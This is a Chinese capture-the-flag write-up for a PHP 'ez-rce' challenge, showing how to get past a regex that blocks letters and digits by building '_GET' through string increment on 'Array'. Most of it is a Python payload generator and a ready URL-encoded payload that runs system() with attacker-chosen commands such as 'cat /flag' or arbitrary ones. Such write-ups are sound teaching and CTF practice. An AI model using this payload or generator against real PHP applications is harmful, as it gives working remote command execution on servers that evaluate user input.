【CTF】【ez-rce】无字母数字绕过正则表达式

解题过程

进入实例,发现会自动跳转百度,使用burpsuit抓包,发现源码路径

访问./s3cret/rce.php,可以看到改题目的源码

正则如下:

plain 复制代码
[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]

被过滤的字符:

  • 所有字母 a-zA-Z
  • 所有数字 0-9
  • 特殊字符:@ # % ^ & * : { } - < ? > " | ~ `

意味着我们不能用异或^、或 |、取反 ~
可用字符: $ _ ( ) ; ' . + = ! / 和空格

所以我们要使用 PHP自增特性 + 数组转字符串 来构造字母:

  • 1.[ ] 空数组转字符串可得 "Array"
  • 2.用 !\[\] (true=1) 和 !!\[\] (false=0) 构造数字索引
  • 3.从 "Array" 提取字母,通过 ++ 自增得到其他字母

py脚本

python 复制代码
#!/usr/bin/env python3
"""
CTF Payload Generator
目标:绕过正则 /[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/
可用字符:$ _ ( ) [ ] ; ' . + = ! / 空格
"""
import re
import urllib.parse

# 正则表达式(用于验证)
banned_pattern = r'[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]'

def check_payload(payload):
    """检查payload是否包含被过滤字符"""
    matches = re.findall(banned_pattern, payload)
    return len(matches) == 0, matches

# === 核心原理 ===
# 1. [].'' 在PHP中得到 "Array"
# 2. ![] = true = 1 (作为数组索引)
# 3. !![] = false = 0 (作为数组索引)  
# 4. 字符串自增: 'a'++ = 'b', 'A'++ = 'B'

# "Array" 字符索引: A(0), r(1), r(2), a(3), y(4)

print("=" * 60)
print("CTF 无字母数字绕过 Payload 生成器")
print("=" * 60)

# === 方法:构造 $_GET 来传递任意命令 ===
# 目标:$_='_GET'; $$_[_]($$_[__]);
# 效果:$_GET['_']($_GET['__'])
# 使用:?shell=payload&_=system&__=ls

# 构造过程:
# 1. $_=[].'';           -> $_ = "Array"
# 2. $__=$_[!![]];       -> $__ = $_[0] = 'A'
# 3. $__++ (6次)         -> $__ = 'G'
# 4. $___=$_[!![]];      -> $___ = 'A'  
# 5. $___++ (4次)        -> $___ = 'E'
# 6. $____=$_[!![]];     -> $____ = 'A'
# 7. $____++ (19次)      -> $____ = 'T'
# 8. $_____='_'.$__.$___.$____; -> $_____ = '_GET'
# 9. $$_____[_]($$_____[__]);   -> $_GET[_]($_GET[__])

payload_parts = [
    "$_=[].''",                    # $_ = "Array"
    "$__=$_[!![]]",                # $__ = 'A' (索引0 = false = !![])
]

# 'A' -> 'G' 需要自增6次
for i in range(6):
    payload_parts.append("$__++")

payload_parts.append("$___=$_[!![]]")  # $___ = 'A'

# 'A' -> 'E' 需要自增4次
for i in range(4):
    payload_parts.append("$___++")

payload_parts.append("$____=$_[!![]]")  # $____ = 'A'

# 'A' -> 'T' 需要自增19次
for i in range(19):
    payload_parts.append("$____++")

payload_parts.append("$_____='_'.$__.$___.$____")  # $_____ = '_GET'
payload_parts.append("$$_____[_]($$_____[__])")    # $_GET[_]($_GET[__])

payload = ";".join(payload_parts) + ";"

print("\n【Payload】")
print(payload)
print()

# 验证
is_valid, bad_chars = check_payload(payload)
if is_valid:
    print("✓ Payload 通过正则检查!不包含被过滤字符")
else:
    print(f"✗ 警告:包含被过滤字符: {set(bad_chars)}")

print("\n【URL编码后的Payload】")
encoded_payload = urllib.parse.quote(payload)
print(encoded_payload)

print("\n" + "=" * 60)
print("【使用方法】")
print("=" * 60)
print(f"\n执行 ls 命令:")
print(f"?shell={encoded_payload}&_=system&__=ls")
print(f"\n执行 cat /flag:")
print(f"?shell={encoded_payload}&_=system&__=cat /flag")
print(f"\n执行任意命令:")
print(f"?shell={encoded_payload}&_=system&__=你的命令")

print("\n" + "=" * 60)
print("【原理解释】")
print("=" * 60)
print("""
1. [].'' 将空数组转为字符串 "Array"
2. !![] = false = 0, ![] = true = 1 (用作数组索引)
3. $_[0] = 'A', 通过 ++ 自增得到其他字母
4. 'A'++ → 'B' → 'C' → ... → 'G' (6次)
5. 'A'++ → 'B' → 'C' → 'D' → 'E' (4次)  
6. 'A'++ → ... → 'T' (19次)
7. 拼接得到 '_GET' 字符串
8. $$_____ 即 $_GET (可变变量)
9. $_GET[_]($_GET[__]) 从URL参数获取函数名和参数
""")

最终payload:

bash 复制代码
?shell=%24_%3D%5B%5D.%27%27%3B%24__%3D%24_%5B%21%21%5B%5D%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%24_%5B%21%21%5B%5D%5D%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24___%2B%2B%3B%24____%3D%24_%5B%21%21%5B%5D%5D%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24____%2B%2B%3B%24_____%3D%27_%27.%24__.%24___.%24____%3B%24%24_____%5B_%5D%28%24%24_____%5B__%5D%29%3B&_=system&__=cat /flag 


总结

这道题的难点在于过滤了字符(^ | ~ %),所以异或/或/取反方法都不能直接用,需要使用 PHP自增+数组转字符串 的方法来构造任意字母。

相关推荐
两个人的幸福7 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo9 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack9 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820710 天前
PHP 扩展——从入门到理解
php
鹏仔先生11 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下11 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip11 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
踏着七彩祥云的小丑11 天前
Go学习第9天:并发编程 + 文件操作 + 正则表达式
学习·golang·正则表达式·go
酉鬼女又兒11 天前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php
dog25011 天前
不要再继续优化 TCP
网络协议·tcp/ip·php